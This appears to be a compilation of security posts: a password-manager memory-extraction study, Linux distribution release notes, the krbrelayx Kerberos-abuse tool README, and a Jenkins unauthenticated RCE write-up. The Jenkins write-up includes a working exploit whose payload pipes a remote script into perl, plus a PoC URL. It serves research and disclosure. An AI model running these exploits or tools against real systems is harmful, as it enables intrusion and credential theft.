Unlike the other password managers, KeePass is an open source project. Similar to 1Password4, KeePass decrypts entries as they are interacted with, however, they all remain in memory since they are not individually scrubbed after each interaction. The master password is scrubbed from memory and not recoverable. However, while KeePass attempts to keep secrets secure by scrubbing them from memory, there are obviously errors in these workflows as we have discovered that while even in a locked state, we were able to extract entries that had been interacted with. KeePass claims to use several defenses in depth memory protection mechanisms as stated in an excerpt from their site below (Figure 13). However, they acknowledge that these workflows may involve Windows OS API’s that may make copies of various memory buffers which may not be exposed to KeePass for scrubbing. Figure 13. KeePass statement on memory protection. Exposure of Cleartext Entries in Memory Entries that have been interacted with remain exposed in memory even after KeePass has been placed into a locked state. Figure 14, below, is an example of a locked instance of KeePass prompting for the master password before it can be unlocked. Figure 14. Locked instance of KeePass. Secrets are scattered in memory with no references. However, performing a simple strings dump from the process memory of KeePass reveals a list of entries that have been interacted with (Figure 15). Figure 15. List of entries from a locked instance of KeePass. Using the above information, we can then search for a username to an entry and locate its corresponding password field entry, in the below image (Figure16) we locate the bitcoin private key which was stored in the password field. Figure 16. Locating a bitcoin private key via its corresponding public key/username. The above methodology can be used to extract any entries that have been interacted with before placing KeePass into a locked state. LastPass (Version: 4.1.59) Similar to 1Password4, LastPass obfuscates the master password as its being typed into the unlock field. Once the decryption key has been derived from the master password, the master password is overwritten with the phrase “lastpass rocks” (Figure17). Figure 17. Master password overwritten once the master password has been used in a PBKDF2 key expansion routine. Once LastPass enters an unlocked state, database entries are decrypted into memory only upon user interaction. However, these entries persist in memory even after LastPass has been placed back into a locked state. Exposure of Cleartext Master Password and Entries in Memory During a workflow to derive the decryption key, the master password is leaked into a string buffer in memory and never scrubbed, even when LastPass is placed into a locked state. The below image, Figure 18, is an instance of LastPass in a locked state awaiting user entry of the master password. Figure 18. Locked instance of LastPass. In this locked state, we can recover the master password and any interacted with password entries with the same methodology used in KeePass, in which a simple strings dump was performed on the active process. The image below, Figure19, is an example of recovering the master password, in a locked state, which ironically is always found within a few lines of ‘lastpass rocks’, the phrase used to conceal the master password in another buffer. Figure 19. Master password in cleartext (underlined red) typically within a few lines of ‘lastpass rocks’. Strings encapsulated by a ‘<input hwnd=’ tag will allow us to enumerate all secret entries that have been interacted with. Below, Figure 20, is an example of extracting a private key to a bitcoin wallet. Figure 20. Extracting a bitcoin private key from a locked instance of LastPass. Conclusion: All password managers we examined sufficiently secured user secrets while in a ‘not running’ state. That is, if a password database were to be extracted from disk and if a strong master password was used, then brute forcing of a password manager would be computationally prohibitive. Each password manager also attempted to scrub secrets from memory. But residual buffers remained that contained secrets, most likely due to memory leaks, lost memory references, or complex GUI frameworks which do not expose internal memory management mechanisms to sanitize secrets. This was most evident in 1Password7 where secrets, including the master password and its associated secret key, were present in both a locked and unlocked state. This is in contrast to 1Password4, where at most, a single entry is exposed in a ‘running unlocked’ state and the master password exists in memory in an obfuscated form, but is easily recoverable. If 1Password4 scrubbed the master password memory region upon successful unlocking, it would comply with all proposed security guarantees we outlined earlier. This paper is not meant to criticize specific password manager implementations; however, it is to establish a reasonable minimum baseline which all password managers should comply with. It is evident that attempts are made to scrub and sensitive memory in all password managers. However, each password manager fails in implementing proper secrets sanitization for various reasons. The image below, Figure 21, summarizes the results of our evaluation: Figure 21. Summary of each password managers security items we examined. Keylogging and Clipboard sniffing are known risks and only included for user awareness, that no matter how closely a password manager may adhere to our proposed ‘Security Guarantees’, victims of keylogging or clipboard sniffing malware/methods have no protection. However, significant violations of our proposed security guarantees are highlighted in red. In an unlocked state, all or a majority of secret records should not be extracted into memory. Only a single one, being actively viewed, should be extracted. Also, in an unlocked state, the master password should not be present in either an encrypted or obfuscated form. A locked running state that exposes interacted with or all records puts users’ secret records unnecessarily at risk. Most egregious is the presence of a master password in a locked state. It is unknown how widespread this knowledge is amongst adversaries. However, up to 60 million users of these password managers potentially are at risk of a targeted attack directed at the software that is meant to safeguard their secrets. In our opinion, the most urgent item is to sanitize secrets when a password manager is placed into a locked state. Typically, most password managers place themselves into this locked state after a certain period of user inactivity, after this the process may remain indefinitely either until the OS is restarted, the process is terminated by the user, or the process restarts itself as part of a self-update workflow when a new version is published. This creates a large window of time in which secrets for certain password managers reside cleartext in memory and available for extraction. In addition to providing a minimum set of guarantees users can rely on, creators of password managers should employ additional defenses to protect secrets by: Detecting or employing methods to, by default, thwart software based keyloggers Preventing secrets exposure in an unlocked state Employing hardware-based features (such as SGX) to make it more difficult to extract secrets Employing trivial malware and runtime process modification detection mechanisms Employing per-install binary scrambling during the install phase to make each instance a unique binary layout to thwart trivial and advanced targeted malware Limiting the traversal of secrets to OS provided APIs by implementing custom GUI elements and memory management to limit secrets exposure to well-known APIs that can be targeted by malware authors End users should, as always, employ security best practices to limit exposure to adversarial activity, such as: Keeping the OS updated Enabling or utilizing well known and tested anti-virus solutions Utilizing features provided by some password managers, such as “Secure Desktop” Using hardware wallets for immediately exploitable sensitive data such as crypto currency private keys Utilizing the auto lock feature of their OS to prevent ‘walk by’ targeted malicious activity Selecting a strong password as the master password to thwart brute force possibilities on a compromised encrypted database file Using full disk encryption to prevent the possibility of secrets extraction in the event of crash logs and associated memory dumps which may include decrypted password manager data Shutting a password manager down completely when not in use even in a locked state (If using one that doesn’t properly sanitize secrets upon being placed into a locked running state) Future Research: Password managers are an important and increasingly necessary part of our lives. In our opinion, users should expect that their secrets are safeguarded according to a minimum set of standards that we outlined as ‘security guarantees’. Initially our assumption and expectation were that password managers are designed to safeguard secrets in a ‘non-running state’, which we identified as true. However, we were surprised in the inconsistency in secrets sanitization and retention in memory when in a running unlocked state and, more importantly, when placed into a locked state. If password managers fail to sanitize secrets in a locked running state then this will be the low hanging fruit, that provides the path of least resistance, to successful compromise of a password manager running on a user’s workstation. Once the minimum set of ‘security guarantees’ is met then password managers should be re-evaluated to discover new attack vectors that adversaries may use to compromise password managers and examine possible mitigations for them. References: [1] "1Password," [Online]. Available: https://1password.com. [2] "Dashlane," [Online]. Available: https://www.dashlane.com/. [3] "KeePass," [Online]. Available: https://keepass.info/. [4] "LastPass," [Online]. Available: https://www.lastpass.com/. [5] T. Hunt. [Online]. Available: https://www.troyhunt.com/password-managers-dont-have-to-be-perfect-they-just-have-to-be-better-than-not-having-one/. [6] "https://twitter.com/roustem," [Online]. [7] "https://blog.dashlane.com/10-million-users/," [Online]. [8] "https://keepass.info/help/kb/trust.html," [Online]. [9] "https://www.lastpass.com/," [Online]. [10] D. Florencio, C. Herley and P. C. v. Oorschot, "An Administrator’s Guide to Internet Password Research," [Online]. Available: https://www.microsoft.com/en-us/research/wp-content/uploads/2014/11/WhatsaSysadminToDo.pdf. [11] T. L. Bras, "Online Overload – It’s Worse Than You Thought," [Online]. Available: https://blog.dashlane.com/infographic-online-overload-its-worse-than-you-thought/. [12] "Smart Taylor," [Online]. Available: https://smarttaylor.io/. [13] Taylor. [Online]. Available: https://medium.com/smarttaylor/updates-on-the-taylor-hack-incident-8843238d1670. [14] [Online]. Available: http://nvlpubs.nist.gov/nistpubs/Legacy/SP/nistspecialpublication800-132.pdf. [15] [Online]. Available: https://support.1password.com/pbkdf2/. [16] "https://support.1password.com/pbkdf2/," [Online]. [17] "https://www.dashlane.com/download/Dashlane_SecurityWhitePaper_October2018.pdf," [Online]. [18] "https://keepass.info/help/base/security.html," [Online]. [19] "LastPass," [Online]. Available: https://blog.lastpass.com/2018/07/lastpass-bugcrowd-update.html/. [20] J. Goldberg, "Using Intel’s SGX to keep secrets even safer," [Online]. Available: https://blog.1password.com/using-intels-sgx-to-keep-secrets-even-safer/. [21] "1Password support forum," [Online]. Available: https://discussions.agilebits.com/discussion/87834/intel-sgx-stopped-working-its-working-but-the-option-is-not-in-yet. Sursa: https://www.securityevaluators.com/casestudies/password-manager-hacking/ -
Kali Linux 2019.1 Released — Operating System For Hackers February 18, 2019Swati Khandelwal Wohooo! Great news for hackers and penetration testers. Offensive Security has just released Kali Linux 2019.1, the first 2019 version of its Swiss army knife for cybersecurity professionals. The latest version of Kali Linux operating system includes kernel up to version 4.19.13 and patches for numerous bugs, along with many updated software, like Metasploit, theHarvester, DBeaver, and more. Kali Linux 2019.1 comes with the latest version of Metasploit (version 5.0) penetration testing tool, which "includes database and automation APIs, new evasion capabilities, and usability improvements throughout," making it more efficient platform for penetration testers. Metasploit version 5.0 is the software's first major release since version 4.0 which came out in 2011. Talking about ARM images, Kali Linux 2019.1 has now once again added support for Banana Pi and Banana Pro that are on kernel version 4.19. "Veyron has been moved to a 4.19 kernel, and the Raspberry Pi images have been simplified, so it is easier to figure out which one to use," Kali Linux project maintainers says in their official release announcement. "There are no longer separate Raspberry Pi images for users with TFT LCDs because we now include re4son's kalipi-tft-config script on all of them, so if you want to set up a board with a TFT, run 'kalipi-tft-config' and follow the prompts." The Offensive Security virtual machine and ARM images have also been updated to the latest 2019.1 version. You can download new Kali Linux ISOs directly from the official website or from the Torrent network, and if you are already using it, then you can simply upgrade it to the latest and greatest Kali release by running the command: apt update && apt -y full-upgrade. Have something to say about this article? Comment below or share it with us on Facebook, Twitter or our LinkedIn Group. Sursa: https://thehackernews.com/2019/02/kali-linux-hackers-os.html
-
- 1
-
-
BackBox Linux 5.3 released! February 18, 2019/in Releases / The BackBox Team is pleased to announce the updated release of BackBox Linux, the version 5.3. In this release we have fixed some minor bugs, updated the kernel stack, base system and hacking tools. What’s new Updated Linux Kernel 4.15 Updated hacking tools Updated ISO Hybrid with UEFI support System requirements 32-bit or 64-bit processor 1024 MB of system memory (RAM) 10 GB of disk space for installation Graphics card capable of 800×600 resolution DVD-ROM drive or USB port (3 GB) The ISO images for both 32bit & 64bit can be downloaded from the official web site download section: https://www.backbox.org/download Sursa: https://blog.backbox.org/2019/02/18/backbox-linux-5-3-released/
-
Krbrelayx - Unconstrained delegation abuse toolkit Toolkit for abusing unconstrained delegation. Requires impacket and ldap3 to function. It is recommended to install impacket from git directly to have the latest version available. More info about this toolkit available in my blog https://dirkjanm.io/krbrelayx-unconstrained-delegation-abuse-toolkit/ Tools included addspn.py This tool can add/remove/modify Service Principal Names on accounts in AD over LDAP. usage: addspn.py [-h] [-u USERNAME] [-p PASSWORD] [-t TARGET] -s SPN [-r] [-q] [-a] HOSTNAME Add an SPN to a user/computer account Required options: HOSTNAME Hostname/ip or ldap://host:port connection string to connect to Main options: -h, --help show this help message and exit -u USERNAME, --user USERNAME DOMAIN\username for authentication -p PASSWORD, --password PASSWORD Password or LM:NTLM hash, will prompt if not specified -t TARGET, --target TARGET Computername or username to target (FQDN or COMPUTER$ name, if unspecified user with -u is target) -s SPN, --spn SPN servicePrincipalName to add (for example: http/host.domain.local or cifs/host.domain.local) -r, --remove Remove the SPN instead of add it -q, --query Show the current target SPNs instead of modifying anything -a, --additional Add the SPN via the msDS-AdditionalDnsHostName attribute dnstool.py Add/modify/delete Active Directory Integrated DNS records via LDAP. usage: dnstool.py [-h] [-u USERNAME] [-p PASSWORD] [--forest] [--zone ZONE] [--print-zones] [-r TARGETRECORD] [-a {add,modify,query,remove,ldapdelete}] [-t {A}] [-d RECORDDATA] [--allow-multiple] [--ttl TTL] HOSTNAME Query/modify DNS records for Active Directory integrated DNS via LDAP Required options: HOSTNAME Hostname/ip or ldap://host:port connection string to connect to Main options: -h, --help show this help message and exit -u USERNAME, --user USERNAME DOMAIN\username for authentication. -p PASSWORD, --password PASSWORD Password or LM:NTLM hash, will prompt if not specified --forest Search the ForestDnsZones instead of DomainDnsZones --zone ZONE Zone to search in (if different than the current domain) --print-zones Only query all zones on the DNS server, no other modifications are made Record options: -r TARGETRECORD, --record TARGETRECORD Record to target (FQDN) -a {add,modify,query,remove,ldapdelete}, --action {add,modify,query,remove,ldapdelete} Action to perform. Options: add (add a new record), modify (modify an existing record), query (show existing), remove (mark record for cleanup from DNS cache), delete (delete from LDAP). Default: query -t {A}, --type {A} Record type to add (Currently only A records supported) -d RECORDDATA, --data RECORDDATA Record data (IP address) --allow-multiple Allow multiple A records for the same name --ttl TTL TTL for record (default: 180) printerbug.py Simple tool to trigger SpoolService bug via RPC backconnect. Similar to dementor.py. Thanks to @agsolino for implementing these RPC calls. usage: printerbug.py [-h] [-target-file file] [-port [destination port]] [-hashes LMHASH:NTHASH] [-no-pass] target attackerhost positional arguments: target [[domain/]username[:password]@]<targetName or address> attackerhost hostname to connect to optional arguments: -h, --help show this help message and exit connection: -target-file file Use the targets in the specified file instead of the one on the command line (you must still specify something as target name) -port [destination port] Destination port to connect to SMB Server authentication: -hashes LMHASH:NTHASH NTLM hashes, format is LMHASH:NTHASH -no-pass don't ask for password (useful when proxying through ntlmrelayx) krbrelayx.py Given an account with unconstrained delegation privileges, dump Kerberos TGT's of users connecting to hosts similar to ntlmrelayx. usage: krbrelayx.py [-h] [-debug] [-t TARGET] [-tf TARGETSFILE] [-w] [-ip INTERFACE_IP] [-r SMBSERVER] [-l LOOTDIR] [-f {ccache,kirbi}] [-codec CODEC] [-no-smb2support] [-wh WPAD_HOST] [-wa WPAD_AUTH_NUM] [-6] [-p PASSWORD] [-hp HEXPASSWORD] [-s USERNAME] [-hashes LMHASH:NTHASH] [-aesKey hex key] [-dc-ip ip address] [-e FILE] [-c COMMAND] [--enum-local-admins] [--no-dump] [--no-da] [--no-acl] [--no-validate-privs] [--escalate-user ESCALATE_USER] Kerberos "relay" tool. Abuses accounts with unconstrained delegation to pwn things. Main options: -h, --help show this help message and exit -debug Turn DEBUG output ON -t TARGET, --target TARGET Target to attack, since this is Kerberos, only HOSTNAMES are valid. Example: smb://server:445 If unspecified, will store tickets for later use. -tf TARGETSFILE File that contains targets by hostname or full URL, one per line -w Watch the target file for changes and update target list automatically (only valid with -tf) -ip INTERFACE_IP, --interface-ip INTERFACE_IP IP address of interface to bind SMB and HTTP servers -r SMBSERVER Redirect HTTP requests to a file:// path on SMBSERVER -l LOOTDIR, --lootdir LOOTDIR Loot directory in which gathered loot (TGTs or dumps) will be stored (default: current directory). -f {ccache,kirbi}, --format {ccache,kirbi} Format to store tickets in. Valid: ccache (Impacket) or kirbi (Mimikatz format) default: ccache -codec CODEC Sets encoding used (codec) from the target's output (default "ascii"). If errors are detected, run chcp.com at the target, map the result with https://docs.python.org/2.4/lib/standard- encodings.html and then execute ntlmrelayx.py again with -codec and the corresponding codec -no-smb2support Disable SMB2 Support -wh WPAD_HOST, --wpad-host WPAD_HOST Enable serving a WPAD file for Proxy Authentication attack, setting the proxy host to the one supplied. -wa WPAD_AUTH_NUM, --wpad-auth-num WPAD_AUTH_NUM Prompt for authentication N times for clients without MS16-077 installed before serving a WPAD file. -6, --ipv6 Listen on both IPv6 and IPv4 Kerberos Keys (of your account with unconstrained delegation): -p PASSWORD, --krbpass PASSWORD Account password -hp HEXPASSWORD, --krbhexpass HEXPASSWORD Hex-encoded password -s USERNAME, --krbsalt USERNAME Case sensitive (!) salt. Used to calculate Kerberos keys.Only required if specifying password instead of keys. -hashes LMHASH:NTHASH NTLM hashes, format is LMHASH:NTHASH -aesKey hex key AES key to use for Kerberos Authentication (128 or 256 bits) -dc-ip ip address IP Address of the domain controller. If ommited it use the domain part (FQDN) specified in the target parameter SMB attack options: -e FILE File to execute on the target system. If not specified, hashes will be dumped (secretsdump.py must be in the same directory) -c COMMAND Command to execute on target system. If not specified, hashes will be dumped (secretsdump.py must be in the same directory). --enum-local-admins If relayed user is not admin, attempt SAMR lookup to see who is (only works pre Win 10 Anniversary) LDAP attack options: --no-dump Do not attempt to dump LDAP information --no-da Do not attempt to add a Domain Admin --no-acl Disable ACL attacks --no-validate-privs Do not attempt to enumerate privileges, assume permissions are granted to escalate a user via ACL attacks --escalate-user ESCALATE_USER Escalate privileges of this user instead of creating a new one TODO: Specifying SMB as target is not yet complete, it's recommended to run in export mode and then use secretsdump with -k Conversion tool from/to ccache/kirbi SMB1 support in the SMB relay server Sursa: https://github.com/dirkjanm/krbrelayx
-
Hacking Jenkins Part 2 - Abusing Meta Programming for Unauthenticated RCE! This is also a cross-post blog from DEVCORE, this post is in English, 而這裡是中文版本! --- Hello everyone! This is the Hacking Jenkins series part two! For those people who still have not read the part one yet, you can check following link to get some basis and see how vulnerable Jenkins’ dynamic routing is! Hacking Jenkins Part 1 - Play with Dynamic Routing As the previous article said, in order to utilize the vulnerability, we want to find a code execution can be chained with the ACL bypass vulnerability to a well-deserved pre-auth remote code execution! But, I failed. Due to the feature of dynamic routing, Jenkins checks the permission again before most dangerous invocations(Such as the Script Console)! Although we could bypass the first ACL, we still can’t do much things After Jenkins released the Security Advisory and fixed the dynamic routing vulnerability on 2018-12-05, I started to organize my notes in order to write this Hacking Jenkins series. While reviewing notes, I found another exploitation way on a gadget that I failed to exploit before! Therefore, the part two is the story for that! This is also one of my favorite exploits and is really worth reading Vulnerability Analysis First, we start from the Jenkins Pipeline to explain CVE-2019-1003000! Generally the reason why people choose Jenkins is that Jenkins provides a powerful Pipeline feature, which makes writing scripts for software building, testing and delivering easier! You can imagine Pipeline is just a powerful language to manipulate the Jenkins(In fact, Pipeline is a DSL built with Groovy) In order to check whether the syntax of user-supplied scripts is correct or not, Jenkins provides an interface for developers! Just think about if you are the developer, how will you implement this syntax-error-checking function? You can just write an AST(Abstract Syntax Tree) parser by yourself, but it’s too tough. So the easiest way is to reuse existing function and library! As we mentioned before, Pipeline is just a DSL built with Groovy, so Pipeline must follow the Groovy syntax! If the Groovy parser can deal with the Pipeline script without errors, the syntax must be correct! The code fragments here shows how Jenkins validates the Pipeline: public JSON doCheckScriptCompile(@QueryParameter String value) { try { CpsGroovyShell trusted = new CpsGroovyShellFactory(null).forTrusted().build(); new CpsGroovyShellFactory(null).withParent(trusted).build().getClassLoader().parseClass(value); } catch (CompilationFailedException x) { return JSONArray.fromObject(CpsFlowDefinitionValidator.toCheckStatus(x).toArray()); } return CpsFlowDefinitionValidator.CheckStatus.SUCCESS.asJSON(); // Approval requirements are managed by regular stapler form validation (via doCheckScript) } Here Jenkins validates the Pipeline with the method GroovyClassLoader.parseClass(…)! It should be noted that this is just an AST parsing. Without running execute() method, any dangerous invocation won’t be executed! If you try to parse the following Groovy script, you get nothing this.class.classLoader.parseClass(''' print java.lang.Runtime.getRuntime().exec("id") '''); From the view of developers, the Pipeline can control Jenkins, so it must be dangerous and requires a strict permission check before every Pipeline invocation! However, this is just a simple syntax validation so the permission check here is more less than usual! Without any execute() method, it’s just an AST parser and must be safe! This is what I thought when the first time I saw this validation. However, while I was writing the technique blog, Meta-Programming flashed into my mind! What is Meta-Programming Meta-Programming is a kind of programming concept! The idea of Meta-Programming is providing an abstract layer for programmers to consider the program in a different way, and makes the program more flexible and efficient! There is no clear definition of Meta-Programming. In general, both processing the program by itself and writing programs that operate on other programs(compiler, interpreter or preprocessor…) are Meta-Programming! The philosophy here is very profound and could even be a big subject on Programming Language! If it is still hard to understand, you can just regard eval(...) as another Meta-Programming, which lets you operate the program on the fly. Although it’s a little bit inaccurate, it’s still a good metaphor for understanding! In software engineering, there are also lots of techniques related to Meta-Programming. For example: C Macro C++ Template Java Annotation Ruby (Ruby is a Meta-Programming friendly language, even there are books for that) DSL(Domain Specific Languages, such as Sinatra and Gradle) When we are talking about Meta-Programming, we classify it into (1)compile-time and (2)run-time Meta-Programming according to the scope. Today, we focus on the compile-time Meta-Programming! P.S. It’s hard to explain Meta-Programming in non-native language. If you are interested, here are some materials! Wiki, Ref1, Ref2 P.S. I am not a programming language master, if there is anything incorrect or inaccurate, please forgive me <(_ _)> How to Exploit? From the previous section we know Jenkins validates Pipeline by parseClass(…) and learn that Meta-Programming can poke the parser during compile-time! Compiling(or parsing) is a hard work with lots of tough things and hidden features. So, the idea is, is there any side effect we can leverage? There are many simple cases which have proved Meta-Programming can make the program vulnerable, such as he macro expansion in C language: #define a 1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1 #define b a,a,a,a,a,a,a,a,a,a,a,a,a,a,a,a #define c b,b,b,b,b,b,b,b,b,b,b,b,b,b,b,b #define d c,c,c,c,c,c,c,c,c,c,c,c,c,c,c,c #define e d,d,d,d,d,d,d,d,d,d,d,d,d,d,d,d #define f e,e,e,e,e,e,e,e,e,e,e,e,e,e,e,e __int128 x[]={f,f,f,f,f,f,f,f}; or the compiler resource bomb(make a 16GB ELF by just 18 bytes): int main[-1u]={1}; or calculating the Fibonacci number by compiler template<int n> struct fib { static const int value = fib<n-1>::value + fib<n-2>::value; }; template<> struct fib<0> { static const int value = 0; }; template<> struct fib<1> { static const int value = 1; }; int main() { int a = fib<10>::value; // 55 int b = fib<20>::value; // 6765 int c = fib<40>::value; // 102334155 } From the assembly language of compiled binary, we can make sure the result is calculated at compile-time, not run-time! $ g++ template.cpp -o template $ objdump -M intel -d template ... 00000000000005fa <main>: 5fa: 55 push rbp 5fb: 48 89 e5 mov rbp,rsp 5fe: c7 45 f4 37 00 00 00 mov DWORD PTR [rbp-0xc],0x37 605: c7 45 f8 6d 1a 00 00 mov DWORD PTR [rbp-0x8],0x1a6d 60c: c7 45 fc cb 7e 19 06 mov DWORD PTR [rbp-0x4],0x6197ecb 613: b8 00 00 00 00 mov eax,0x0 618: 5d pop rbp 619: c3 ret 61a: 66 0f 1f 44 00 00 nop WORD PTR [rax+rax*1+0x0] ... For more examples, you can refer to the article Build a Compiler Bomb on StackOverflow! First Attempt Back to our exploitation, Pipeline is just a DSL built with Groovy, and Groovy is also a Meta-Programming friendly language. We start reading the Groovy official Meta-Programming manual to find some exploitation ways. In the section 2.1.9, we found the @groovy.transform.ASTTest annotation. Here is its description: @ASTTest is a special AST transformation meant to help debugging other AST transformations or the Groovy compiler itself. It will let the developer “explore” the AST during compilation and perform assertions on the AST rather than on the result of compilation. This means that this AST transformations gives access to the AST before the Bytecode is produced. @ASTTest can be placed on any annotable node and requires two parameters: What! perform assertions on the AST? Isn’t that what we want? Let’s write a simple Proof-of-Concept in local environment first: this.class.classLoader.parseClass(''' @groovy.transform.ASTTest(value={ assert java.lang.Runtime.getRuntime().exec("touch pwned") }) def x '''); $ ls poc.groovy $ groovy poc.groovy $ ls poc.groovy pwned Cool, it works! However, while reproducing this on the remote Jenkins, it shows: unable to resolve class org.jenkinsci.plugins.workflow.libs.Library What the hell!!! What’s wrong with that? With a little bit digging, we found the root cause. This is caused by the Pipeline Shared Groovy Libraries Plugin! In order to reuse functions in Pipeline, Jenkins provides the feature that can import customized library into Pipeline! Jenkins will load this library before every executed Pipeline. As a result, the problem become lack of corresponding library in classPath during compile-time. That’s why the error unsable to resolve class occurs! How to fix this problem? It’s simple! Just go to Jenkins Plugin Manager and remove the Pipeline Shared Groovy Libraries Plugin! It can fix the problem and then we can execute arbitrary code without any error! But, this is not a good solution because this plugin is installed along with the Pipeline. It’s lame to ask administrator to remove the plugin for code execution! We stop digging this and try to find another way! Second Attempt We continue reading the Groovy Meta-Programming manual and found another interesting annotation - @Grab. There is no detailed information about @Grab on the manual. However, we found another article - Dependency management with Grape on search engine! Oh, from the article we know Grape is a built-in JAR dependency management in Groovy! It can help programmers import the library which are not in classPath. The usage looks like: @Grab(group='org.springframework', module='spring-orm', version='3.2.5.RELEASE') import org.springframework.jdbc.core.JdbcTemplate By using @Grab annotation, it can import the JAR file which is not in classPath during compile-time automatically! If you just want to bypass the Pipeline sandbox via a valid credential and the permission of Pipeline execution, that’s enough. You can follow the PoC proveded by @adamyordan to execute arbitrary commands! However, without a valid credential and execute() method, this is just an AST parser and you even can’t control files on remote server. So, what can we do? By diving into more about @Grab, we found another interesting annotation - @GrabResolver: @GrabResolver(name='restlet', root='http://maven.restlet.org/') @Grab(group='org.restlet', module='org.restlet', version='1.1.6') import org.restlet If you are smart enough, you would like to change the root parameter to a malicious website! Let’s try this in local environment: this.class.classLoader.parseClass(''' @GrabResolver(name='restlet', root='http://orange.tw/') @Grab(group='org.restlet', module='org.restlet', version='1.1.6') import org.restlet ''') 11.22.33.44 - - [18/Dec/2018:18:56:54 +0800] "HEAD /org/restlet/org.restlet/1.1.6/org.restlet-1.1.6-javadoc.jar HTTP/1.1" 404 185 "-" "Apache Ivy/2.4.0" Wow, it works! Now, we believe we can make Jenkins import any malicious library by Grape! However, the next problem is, how to get code execution? The Way to Code Execution In the exploitation, the target is always escalating the read primitive or write primitive to code execution! From the previous section, we can write malicious JAR file into remote Jenkins server by Grape. However, the next problem is how to execute code? By diving into Grape implementation on Groovy, we realized the library fetching is done by the class groovy.grape.GrapeIvy! We started to find is there any way we can leverage, and we noticed an interesting method processOtherServices(…)! void processOtherServices(ClassLoader loader, File f) { try { ZipFile zf = new ZipFile(f) ZipEntry serializedCategoryMethods = zf.getEntry("META-INF/services/org.codehaus.groovy.runtime.SerializedCategoryMethods") if (serializedCategoryMethods != null) { processSerializedCategoryMethods(zf.getInputStream(serializedCategoryMethods)) } ZipEntry pluginRunners = zf.getEntry("META-INF/services/org.codehaus.groovy.plugins.Runners") if (pluginRunners != null) { processRunners(zf.getInputStream(pluginRunners), f.getName(), loader) } } catch(ZipException ignore) { // ignore files we can't process, e.g. non-jar/zip artifacts // TODO log a warning } } JAR file is just a subset of ZIP format. In the processOtherServices(…), Grape registers servies if there are some specified entry points. Among them, the Runner interests me. By looking into the implementation of processRunners(…), we found this: void processRunners(InputStream is, String name, ClassLoader loader) { is.text.readLines().each { GroovySystem.RUNNER_REGISTRY[name] = loader.loadClass(it.trim()).newInstance() } } Here we see the newInstance(). Does it mean that we can call Constructor on any class? Yes, so, we can just create a malicious JAR file, and put the class name into the file META-INF/services/org.codehaus.groovy.plugins.Runners and we can invoke the Constructor and execute arbitrary code! Here is the full exploit: public class Orange { public Orange(){ try { String payload = "curl orange.tw/bc.pl | perl -"; String[] cmds = {"/bin/bash", "-c", payload}; java.lang.Runtime.getRuntime().exec(cmds); } catch (Exception e) { } } } $ javac Orange.java $ mkdir -p META-INF/services/ $ echo Orange > META-INF/services/org.codehaus.groovy.plugins.Runners $ find . ./Orange.java ./Orange.class ./META-INF ./META-INF/services ./META-INF/services/org.codehaus.groovy.plugins.Runners $ jar cvf poc-1.jar ./Orange.class /META-INF/ $ cp poc-1.jar ~/www/tw/orange/poc/1/ $ curl -I http://[your_host]/tw/orange/poc/1/poc-1.jar HTTP/1.1 200 OK Date: Sat, 02 Feb 2019 11:10:55 GMT ... PoC: http://jenkins.local/descriptorByName/org.jenkinsci.plugins.workflow.cps.CpsFlowDefinition/checkScriptCompile ?value= @GrabConfig(disableChecksums=true)%0a @GrabResolver(name='orange.tw', root='http://[your_host]/')%0a @Grab(group='tw.orange', module='poc', version='1')%0a import Orange; Video: Epilogue With the exploit, we can gain full access on remote Jenkins server! We use Meta-Programming to import malicious JAR file during compile-time, and executing arbitrary code by the Runner service! Although there is a built-in Groovy Sandbox(Script Security Plugin) on Jenkins to protect the Pipeline, it’s useless because the vulnerability is in compile-time, not in run-time! Because this is an attack vector on Groovy core, all methods related to the Groovy parser are affected! It breaks the developer’s thought which there is no execution so there is no problem. It is also an attack vector that requires the knowledge about computer science. Otherwise, you cannot think of the Meta-Programming! That’s what makes this vulnerability interesting. Aside from entry points doCheckScriptCompile(...) and toJson(...) I reported, after the vulnerability has been fixed, Mikhail Egorov also found another entry point quickly to trigger this vulnerability! Apart from that, this vulnerability can also be chained with my previous exploit on Hacking Jenkins Part 1 to bypass the Overall/Read restriction to a well-deserved pre-auth remote code execution. If you fully understand the article, you know how to chain Thank you for reading this article and hope you like it! Here is the end of Hacking Jenkins series, I will publish more interesting researches in the future Sursa: https://blog.orange.tw/2019/02/abusing-meta-programming-for-unauthenticated-rce.html
-
UART-to-Root: The (Slightly) Harder Way Posted on 02/14/2019 AuthorMike Quick Note: This post assumes some knowledge of UART and U-boot, and touches slightly on eMMC dumping. Many familiar with hardware hacking know that UART can be a quick and easy way to find yourself with a shell on a target device. Often times, especially in older home routers and the like, you’ll be automatically logged in as root or be able to log in with an easily-guessed or default password. In other circumstances, you may need to edit some boot arguments in the bootloader to trigger a shell (such as adding a 1 for single-user mode or adding init=/bin/sh). With this initial shell, you can dump and crack passwords or modify the firmware to grant access without the modified bootargs (change password). Recently, I came head-to-head with a device that had a slightly more complicated boot process with many environment variables setting other environment variables that eventually called a boot script from an eMMC that did more of the same. Some Background My target device was being driven by a cl-som-imx6; an off-the-shelf, bolt-on System on Module from Compulab. My target version of the cl-som-imx6 utilized a 16 gig eMMC for firmware storage that had two partitions: a FAT boot partition (in addition to U-boot on an EEPROM) and an EXT4 Linux filesystem. cl-som-imx6 with eMMC removed My first goal for this device was to get an active shell on the device while it was fully booted. Since I had multiple copies of my target device, I went for a quick win and removed eMMC then dumped it’s contents with the hope of recovering and cracking password hashes. While I was able to get the hashes from /etc/shadow, I was disappointed to see they were hashed with sha512crypt ($6$) and have yet been unable to crack them. Without valid credentials, my next goal was to modify boot args to bypass authentication and drop me directly into a root shell, with the hope of being able to change the password. The classic init=/bin/sh trick. It’s important to note that when modifying the bootargs with init=/bin/sh, the device will not go through its standard boot process, therefore it will not kick off any scripts or applications that would normally fire on boot. So, while you may have a root shell, you will not be interacting with the device in its normal state. It is also temporary and will not persist after reboot. The Problem This is where it started getting a bit tricker. In my experience, U-boot usually has an environment variable called bootargs that passes necessary information to the kernel. In this case, there were several variables that set bootargs under different circumstances. I attempted to modify every instance where bootargs were getting set (to add init=/bin/sh) to no avail. 01 02 03 04 05 06 07 08 09 10 11 12 13 14 15 16 17 # binwalk part1.bin DECIMAL HEXADECIMAL DESCRIPTION -------------------------------------------------------------------------------- 28672 0x7000 Linux kernel ARM boot executable zImage (little-endian) 34516 0x86D4 LZO compressed data 34884 0x8844 LZO compressed data 35489 0x8AA1 device tree image (dtb) 1322131 0x142C93 SHA256 hash constants, little endian 3218379 0x311BCB mcrypt 2.5 encrypted data, algorithm: "5o", keysize: 12292 bytes, mode: "A", 3982809 0x3CC5D9 device tree 